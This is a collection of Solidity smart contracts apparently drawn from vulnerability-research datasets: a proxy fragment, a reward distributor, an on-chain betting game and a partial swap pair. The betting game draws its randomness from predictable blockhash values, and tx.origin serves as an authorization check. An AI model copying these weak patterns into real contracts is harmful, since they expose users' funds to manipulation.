modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
| 152,341 | 13,147 |
915ba4cb98d75dd55f987a5e9434f7995befe50b7b175a24e3981b5244cd4872
| 18,241 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/79/79B571781f6C574A7BF51c0Dd707db0Ef8B3B530_Distributor.sol
| 4,196 | 16,547 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
function endTime() external view returns (uint);
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable SCAT;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
// 5% of supply
uint256 public constant MAX_RATE = 5e4;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _SCAT, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_SCAT != address(0));
SCAT = _SCAT;
// TODO: ADJUST TIMININGS TO LIKING
epochLength = 3600 * 4;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
info[ _index ].rate = adjustment.target;
delete adjustments[ _index ];
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate > adjustment.rate ? info[ _index ].rate.sub(adjustment.rate) : 0; // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
info[ _index ].rate = adjustment.target;
delete adjustments[ _index ];
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
if (block.timestamp > ITreasury(treasury).endTime())
return 0;
return IERC20(SCAT).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
require(_rewardRate <= MAX_RATE, "_rewardRate too high");
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient, "Invalid recipient");
require(_index < info.length, "Index out of range");
if (_index < info.length - 1) {
info[ _index ] = info[ info.length - 1 ];
adjustments[ _index ] = adjustments[ info.length - 1 ];
}
delete adjustments[ info.length - 1 ];
info.pop();
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
require(_rate != 0 && (_add && info[ _index ].rate < _target || !_add && info[ _index ].rate > _target), "Invalid adjustment");
require(_target <= MAX_RATE, "Target rate too high");
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 87,901 | 13,148 |
0d009da145ade87730f6dd560fbb8dfdd2df99e2004d1d4cc17de4f7dd7d62eb
| 9,370 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x0debfb5127d8b5dd2fafc93724c88bd7f40cc852.sol
| 3,145 | 9,290 |
pragma solidity ^0.4.25;
interface DSG {
function gamingDividendsReception() payable external;
}
contract DSG_Turntable{
using SafeMath for uint256;
address constant public DSG_ADDRESS = 0x696826C18A6Bc9Be4BBfe3c3A6BB9f5a69388687;
uint256 public totalDividends;
uint256 public totalWinnings;
uint256 public totalTurnover;
uint256 public totalPlayed;
uint256 public maxBet;
uint256 public minBet;
uint256 public minContractBalance;
uint256 public minBetForJackpot;
uint256 public jackpotBalance;
uint256 public nextPayout;
uint256 public ownerDeposit;
address[2] public owners;
address[2] public candidates;
bool public paused;
mapping (address => Bet) private usersBets;
struct Bet {
uint256 blockNumber;
uint256 bet;
}
modifier onlyOwners(){
require(msg.sender == owners[0] || msg.sender == owners[1]);
_;
}
modifier onlyUsers(){
require(tx.origin == msg.sender);
_;
}
modifier checkBlockNumber(){
uint256 blockNumber = usersBets[msg.sender].blockNumber;
if(block.number.sub(blockNumber) >= 250 && blockNumber > 0){
emit Result(msg.sender, 1000, 0, jackpotBalance, usersBets[msg.sender].bet, 0);
delete usersBets[msg.sender];
}
else{
_;
}
}
constructor(address secondOwner) public payable{
owners[0] = msg.sender;
owners[1] = secondOwner;
ownerDeposit = msg.value;
jackpotBalance = jackpotBalance.add(ownerDeposit.div(1000));
}
function play() public payable checkBlockNumber onlyUsers{
uint256 bet = msg.value;
require(checkSolvency(bet), "Not enough ETH in contract");
require(paused == false, "Game was stopped");
require(bet >= minBet && bet <= maxBet, "Amount should be within range");
require(usersBets[msg.sender].bet == 0, "You have already bet");
usersBets[msg.sender].bet = bet;
usersBets[msg.sender].blockNumber = block.number;
totalTurnover = totalTurnover.add(bet);
totalPlayed = totalPlayed.add(1);
emit PlaceBet(msg.sender, bet, now);
}
function result() public checkBlockNumber onlyUsers{
require(blockhash(usersBets[msg.sender].blockNumber) != 0, "Your time to determine the result has come out or not yet come");
uint256 bet = usersBets[msg.sender].bet;
uint256 totalWinAmount;
uint256 r = _random(1000);
uint256 winRate = 0;
if(_winChanceJ(r, bet)){
winRate = 1000;
totalWinAmount = totalWinAmount.add(jackpotBalance);
emit Jackpot(msg.sender, jackpotBalance, now);
delete jackpotBalance;
}
if(_winChance1x(r)){
winRate = 100;
totalWinAmount = totalWinAmount.add(bet);
}
if(_winChance1_5x(r)){
winRate = 150;
totalWinAmount = totalWinAmount.add(bet.mul(winRate).div(100));
}
if(_winChance2x(r)){
winRate = 200;
totalWinAmount = totalWinAmount.add(bet.mul(winRate).div(100));
}
if(_winChance2_5x(r)){
winRate = 250;
totalWinAmount = totalWinAmount.add(bet.mul(winRate).div(100));
}
if(_winChance3x(r)){
winRate = 300;
totalWinAmount = totalWinAmount.add(bet.mul(winRate).div(100));
}
if(_winChance5x(r)){
winRate = 500;
totalWinAmount = totalWinAmount.add(bet.mul(winRate).div(100));
}
if(totalWinAmount > 0){
msg.sender.transfer(totalWinAmount);
totalWinnings = totalWinnings.add(totalWinAmount);
}
jackpotBalance = jackpotBalance.add(bet.div(1000));
delete usersBets[msg.sender];
emit Result(msg.sender, r, totalWinAmount, jackpotBalance, bet, winRate);
}
function _winChanceJ(uint r, uint bet) private view returns(bool){
if(bet >= minBetForJackpot && r == 999 && jackpotBalance > 0) return true;
else return false;
}
function _winChance5x(uint r) private pure returns(bool){
if(r == 11 || r == 21 || r == 31 || r == 41 || r == 51 || r == 61 || r == 71 || r == 81 || r == 91 || r == 99) return true;
else return false;
}
function _winChance3x(uint r) private pure returns(bool){
if((r >= 80 && r < 83) ||
(r >= 180 && r < 183) ||
(r >= 280 && r < 283) ||
(r >= 380 && r < 383) ||
(r >= 480 && r < 483) ||
(r >= 580 && r < 583) ||
(r >= 680 && r < 683) ||
(r >= 780 && r < 783) ||
(r >= 880 && r < 883) ||
(r >= 980 && r < 983))
return true;
else return false;
}
function _winChance2_5x(uint r) private pure returns(bool){
if((r >= 75 && r < 80) ||
(r >= 175 && r < 180) ||
(r >= 275 && r < 280) ||
(r >= 375 && r < 380) ||
(r >= 475 && r < 480) ||
(r >= 575 && r < 580) ||
(r >= 675 && r < 680) ||
(r >= 775 && r < 780) ||
(r >= 875 && r < 880) ||
(r >= 975 && r < 980))
return true;
else return false;
}
function _winChance2x(uint r) private pure returns(bool){
if((r >= 50 && r < 75) || (r >= 350 && r < 375) || (r >= 650 && r < 675) || (r >= 950 && r < 975)) return true;
else return false;
}
function _winChance1_5x(uint r) private pure returns(bool){
if((r >= 25 && r < 50) || (r >= 125 && r < 150)) return true;
else if((r >= 425 && r < 450) || (r >= 525 && r < 550)) return true;
else if((r >= 625 && r < 650) || (r >= 725 && r < 750)) return true;
else return false;
}
function _winChance1x(uint r) private pure returns(bool){
if((r >= 0 && r < 25) || (r >= 100 && r < 125)) return true;
else if((r >= 400 && r < 425) || (r >= 500 && r < 525)) return true;
else if((r >= 600 && r < 625) || (r >= 700 && r < 725)) return true;
else if((r >= 800 && r < 825) || (r >= 900 && r < 925)) return true;
else return false;
}
function checkSolvency(uint bet) view public returns(bool){
if(getContractBalance() > bet.mul(500).div(100).add(jackpotBalance)) return true;
else return false;
}
function sendDividends() public {
require(getContractBalance() > minContractBalance && now > nextPayout, "You cannot send dividends");
DSG DSG0 = DSG(DSG_ADDRESS);
uint256 balance = getContractBalance();
uint256 dividends = balance.sub(minContractBalance);
nextPayout = now.add(7 days);
totalDividends = totalDividends.add(dividends);
DSG0.gamingDividendsReception.value(dividends)();
emit Dividends(balance, dividends, now);
}
function getContractBalance() public view returns (uint256){
return address(this).balance;
}
function _random(uint256 max) private view returns(uint256){
bytes32 hash = blockhash(usersBets[msg.sender].blockNumber);
return uint256(keccak256(abi.encode(hash, msg.sender))) % max;
}
function deposit() public payable onlyOwners{
ownerDeposit = ownerDeposit.add(msg.value);
}
function sendOwnerDeposit(address recipient) public onlyOwners{
require(paused == true, 'Game was not stopped');
uint256 contractBalance = getContractBalance();
if(contractBalance >= ownerDeposit){
recipient.transfer(ownerDeposit);
}
else{
recipient.transfer(contractBalance);
}
delete jackpotBalance;
delete ownerDeposit;
}
function pauseGame(bool option) public onlyOwners{
paused = option;
}
function setMinBet(uint256 eth) public onlyOwners{
minBet = eth;
}
function setMaxBet(uint256 eth) public onlyOwners{
maxBet = eth;
}
function setMinBetForJackpot(uint256 eth) public onlyOwners{
minBetForJackpot = eth;
}
function setMinContractBalance(uint256 eth) public onlyOwners{
minContractBalance = eth;
}
function transferOwnership(address newOwnerAddress, uint8 k) public onlyOwners{
candidates[k] = newOwnerAddress;
}
function confirmOwner(uint8 k) public{
require(msg.sender == candidates[k]);
owners[k] = candidates[k];
}
event Dividends(uint256 balance,
uint256 dividends,
uint256 timestamp);
event Jackpot(address indexed player,
uint256 jackpot,
uint256 timestamp);
event PlaceBet(address indexed player,
uint256 bet,
uint256 timestamp);
event Result(address indexed player,
uint256 indexed random,
uint256 totalWinAmount,
uint256 jackpotBalance,
uint256 bet,
uint256 winRate);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 211,669 | 13,149 |
4291ef49def8745b59d8e3a80db9a27abf713944c985a67cc0ede9b20294fd77
| 17,700 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x095122e22f45624c5a3cf3F6A1eDa6A0Be813AEF/contract.sol
| 5,145 | 17,081 |
//SPDX-License-Identifier: TBD
pragma solidity =0.7.4;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface ICoinSwapERC20 is IERC20 {
event Swap(address indexed,uint192,uint192,address indexed);
event Sync(uint);
event Mint(address indexed sender, uint192);
event Burn(address indexed sender, uint192, address indexed to);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
interface ICoinSwapCallee {
function coinswapCall(address sender, uint amount0,uint amount1, bytes calldata data) external;
}
contract CoinSwapERC20 is ICoinSwapERC20 {
using SafeMath for uint;
string public constant override name = 'CoinSwap V1';
string public constant override symbol = 'CSWPLT';//CoinSwap Liquidity Token
uint8 public constant override decimals = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
bytes32 public override DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant override PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public override nonces;
constructor() {
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)));
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(deadline >= block.timestamp, 'CSWP:01');
bytes32 digest = keccak256(abi.encodePacked('\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'CSWP:02');
_approve(owner, spender, value);
}
}
contract CoinSwapPair is CoinSwapERC20 {
using SafeMath for uint;
address public patron;
address public factory;
address public token0; // token0 < token1
address public token1;
uint224 private reserve; //reserve0(96) | reserve1(96) | blockTimestampLast(32)
uint private unlocked = 1;
uint public priceCumulative; //=Delta_y/Delta_x: 96-fractional bits; allows overflow
uint224 private circleData;
modifier lock() {
require(unlocked == 1, 'CSWP:1');
unlocked = 0;
_;
unlocked = 1;
}
constructor() {factory = msg.sender; patron=tx.origin;}
function initialize(address _token0, address _token1, uint224 circle) external {
//circle needs to in order of token0<token1
require(circleData == 0, 'CSWP:2');
token0 = _token0;
token1 = _token1;
circleData = circle; // validity of circle should be checked by CoinSwapFactory
}
function ICO(uint224 _circleData) external {
require((tx.origin==patron) && (circleData >> 216) >0, 'CSWP:3');//to close ICO, set (circleData >> 216) = 0x00
circleData = _circleData;
}
function setPatron(address _patron) external {
require((tx.origin==patron), 'CSWP:11');
patron = _patron;
}
function getReserves() public view returns (uint224 _reserve, uint224 _circleData) {
_reserve = reserve;
_circleData = circleData;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'CSWP:6');
}
function revisemu(uint192 balance) private returns (uint56 _mu) {
require(balance>0, 'CSWP:4');
uint224 _circleData = circleData;
uint X = uint(balance>>96) * uint16(_circleData >> 72)* uint56(_circleData >> 160);
uint Y = uint(uint96(balance)) * uint16(_circleData >> 56)* uint56(_circleData >> 104);
uint XpY = X + Y;
uint X2pY2 = (X*X) + (Y*Y);
X = XpY*100;
Y = (X*X) + X2pY2 * (10000+ uint16(_circleData>>88));
uint Z= X2pY2 * 20000;
require(Y>Z, 'CSWP:5');
Y = SQRT.sqrt(Y-Z);
Z = Y > X ? X + Y : X-Y;
_mu = uint56(1)+uint56(((10**32)*Z) / X2pY2);
circleData = (_circleData & 0xFF_FFFFFFFFFFFFFF_FFFFFFFFFFFFFF_FFFF_FFFF_FFFF_00000000000000) | uint224(_mu);
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance) private {
uint32 lastTime = uint32(balance);
uint32 deltaTime = uint32(block.timestamp) -lastTime ;
if (deltaTime>0 && lastTime>0) {
uint circle = circleData;
uint lambda0 = uint16(circle >> 72);
uint lambda1 = uint16(circle >> 56);
uint CmulambdaX = 10**34 - (balance>>128) *lambda0*uint56(circle)*uint56(circle >> 160);
uint CmulambdaY = 10**34 - uint96(balance>>32)*lambda1*uint56(circle)*uint56(circle >> 104);
priceCumulative += (((lambda0*CmulambdaX)<< 96)/(lambda1*CmulambdaY)) * deltaTime;
}
reserve = uint224(balance +deltaTime);
emit Sync(balance>>32);
}
function _mintFee(uint56 mu0) private returns (uint56 mu) {
address feeTo = CoinSwapFactory(factory).feeTo();
mu=revisemu(uint192(reserve>>32));
if (mu0>mu) _mint(feeTo, totalSupply.mul(uint(mu0-mu)) / (5*mu0+mu));
}
function mint(address to) external lock returns (uint liquidity) {
uint224 circle = circleData;
uint _totalSupply = totalSupply;
uint224 _reserve = reserve;
uint96 reserve0 = uint96(_reserve >>128);
uint96 reserve1 = uint96(_reserve >>32);
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint scaledBalance0 = balance0* uint56(circle >> 160);
uint scaledBalance1 = balance1* uint56(circle >> 104);
require((scaledBalance0< 2**96) && (scaledBalance1< 2**96)
&& (scaledBalance0 >=10**16 || scaledBalance1 >=10**16), 'CSWP:7');
if (_totalSupply == 0) {
uint lambda0 = uint16(circle >> 72);
uint lambda1 = uint16(circle >> 56);
liquidity = (scaledBalance0 * lambda0 + scaledBalance1 * lambda1) >> 1;
revisemu(uint192((balance0<<96)|balance1));
} else {
uint56 mu0=_mintFee(uint56(circle));
_totalSupply = totalSupply;
(uint mu, uint _totalS)=(0,0);
if (reserve0==0) {
mu=(uint(mu0) * reserve1) / balance1;
_totalS = _totalSupply.mul(balance1)/reserve1;
} else if (reserve1==0) {
mu=(uint(mu0) * reserve0) / balance0;
_totalS = _totalSupply.mul(balance0)/reserve0;
} else {
(mu, _totalS) = (balance0 * reserve1) < (balance1 * reserve0)?
((uint(mu0) * reserve0) / balance0, _totalSupply.mul(balance0)/reserve0) :
((uint(mu0) * reserve1) / balance1, _totalSupply.mul(balance1)/reserve1) ;
}
liquidity = _totalS - _totalSupply;
circleData = (circle & 0xFF_FFFFFFFFFFFFFF_FFFFFFFFFFFFFF_FFFF_FFFF_FFFF_00000000000000) | uint224(mu);
}
_mint(to, liquidity);
_update(balance0<<128 | balance1<<32 | uint32(_reserve));
emit Mint(msg.sender, uint192((balance0-reserve0)<<96 | (balance1-reserve1)));
}
function burn(address to) external lock returns (uint192 amount) {
uint224 _reserve = reserve;
address _token0 = token0;
address _token1 = token1;
_mintFee(uint56(circleData));
uint _totalSupply = totalSupply;
uint liquidity = balanceOf[address(this)];
uint amount0 = liquidity.mul(uint96(_reserve>>128)) / _totalSupply;
uint amount1 = liquidity.mul(uint96(_reserve>>32)) / _totalSupply;
amount = uint192((amount0<<96)|amount1);
require(amount > 0, 'CSWP:8');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
uint192 combinedBalance = uint192(IERC20(_token0).balanceOf(address(this))<<96 | IERC20(_token1).balanceOf(address(this)));
_update(uint(combinedBalance)<<32 | uint32(_reserve));
if (combinedBalance>0) revisemu(combinedBalance);
emit Burn(msg.sender, amount, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amountOut, address to, bytes calldata data) external lock {
uint amount0Out = (amountOut >> 96);
uint amount1Out = uint(uint96(amountOut));
uint balance0;
uint balance1;
uint _circleData = circleData;
{ // avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
